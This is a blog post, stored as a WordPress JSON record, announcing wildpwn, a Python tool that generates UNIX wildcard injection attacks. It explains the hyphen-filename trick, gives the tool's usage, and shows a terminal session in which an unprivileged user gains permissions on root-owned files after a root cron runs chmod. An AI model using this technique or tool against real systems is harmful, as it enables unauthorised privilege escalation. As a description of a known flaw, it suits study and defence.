{"id":4130,"date":"2016-05-27T23:56:01","date_gmt":"2016-05-27T15:56:01","guid":{"rendered":"https:\/\/www.darknet.org.uk\/?p=4130"},"modified":"2016-05-06T02:56:42","modified_gmt":"2016-05-05T18:56:42","slug":"wildpwn-unix-wildcard-attack-tool","status":"publish","type":"post","link":"https:\/\/www.darknet.org.uk\/2016\/05\/wildpwn-unix-wildcard-attack-tool\/","title":{"rendered":"wildpwn &#8211; UNIX Wildcard Attack Tool"},"content":{"rendered":"<p>wildpwn is a Python UNIX wildcard attack tool that helps you generate attacks, based on a paper by Leon Juranic. It&#8217;s considered a fairly old-skool attack vector, but it still works quite often.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2016\/05\/wildpwn-640x360.png\" alt=\"wildpwn - UNIX Wildcard Attack Tool\" width=\"640\" height=\"360\" class=\"aligncenter size-medium wp-image-4165\" \/><\/p>\n<p>The simple trick behind this technique is that when using shell wildcards, especially asterisk (*), the UNIX shell will interpret files beginning with a hyphen (-) character as command line argument to be executed by the command\/program. That leaves space for some variations of the classic channelling attack.<\/p>\n<p>The practical case in terms of this technique is combining arguments and filenames, as different &#8220;channels&#8221; into single entity, because of using shell wildcards.<\/p>\n<p>Read the full paper here: <a href=\"https:\/\/www.exploit-db.com\/papers\/33930\/\">Back To The Future: Unix Wildcards Gone Wild<\/a><\/p>\n<h3>Usage<\/h3>\n<pre>usage: wildpwn.py [-h] [--file FILE] payload folder\r\n\r\nTool to generate unix wildcard attacks\r\n\r\npositional arguments:\r\n  payload      Payload to use: (combined | tar | rsync)\r\n  folder       Where to write the payloads\r\n\r\noptional arguments:\r\n  -h, --help   show this help message and exit\r\n  --file FILE  Path to file for taking ownership \/ change permissions. Use it\r\n               with combined attack only.<\/pre>\n<h3>Usage Example<\/h3>\n<pre>$ ls -lh \/tmp\/very_secret_file\r\n-rw-r--r-- 1 root root 2048 jun 28 21:37 \/tmp\/very_secret_file\r\n\r\n$ ls -lh .\/pwn_me\/\r\ndrwxrwxrwx 2 root root 4,0K jun 28 21:38 .\r\n[...]\r\n-rw-rw-r-- 1 root root    1024 jun 28 21:38 secret_file_1\r\n-rw-rw-r-- 1 root root    1024 jun 28 21:38 secret_file_2\r\n[...]\r\n\r\n$ python wildpwn.py --file \/tmp\/very_secret_file combined .\/pwn_me\/\r\n[!] Selected payload: combined\r\n[+] Done! Now wait for something like: chown uid:gid *  (or)  chmod [perms] * on .\/pwn_me\/. Good luck!\r\n\r\n[...time passes \/ some cron gets executed...]\r\n\r\n# chmod 000 * (for example)\r\n\r\n[...back with the unprivileged user...]\r\n\r\n$ ls -lha .\/pwn_me\/\r\n[...]\r\n-rwxrwxrwx 1 root root    1024 jun 28 21:38 secret_file_1\r\n-rwxrwxrwx 1 root root    1024 jun 28 21:38 secret_file_2\r\n[...]\r\n\r\n$ ls -lha \/tmp\/very_secret_file\r\n-rwxrwxrwx 1 root root 2048 jun 28 21:38 \/tmp\/very_secret_file<\/pre>\n<p>You can download wildpwn here:<\/p>\n<p><a href=\"https:\/\/raw.githubusercontent.com\/localh0t\/wildpwn\/master\/wildpwn.py\">wildpwn.py<\/a><\/p>\n<p>OR read more <a href=\"https:\/\/localh0t.github.io\/wildpwn-v0.1-unix-wildcard-attacks\/\">here<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>wildpwn is a Python UNIX wildcard attack tool that helps you generate attacks, based on a paper by Leon Juranic. It&#8217;s considered a fairly old-skool attack vector, but it still works quite often. The simple trick behind this technique is that when using shell wildcards, especially asterisk (*), the UNIX shell will interpret files beginning [&hellip;]<\/p>\n","protected":false},"author":25,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"wildpwn is a Python UNIX wildcard attack tool that helps you generate attacks, based on a paper by Leon Juranic. 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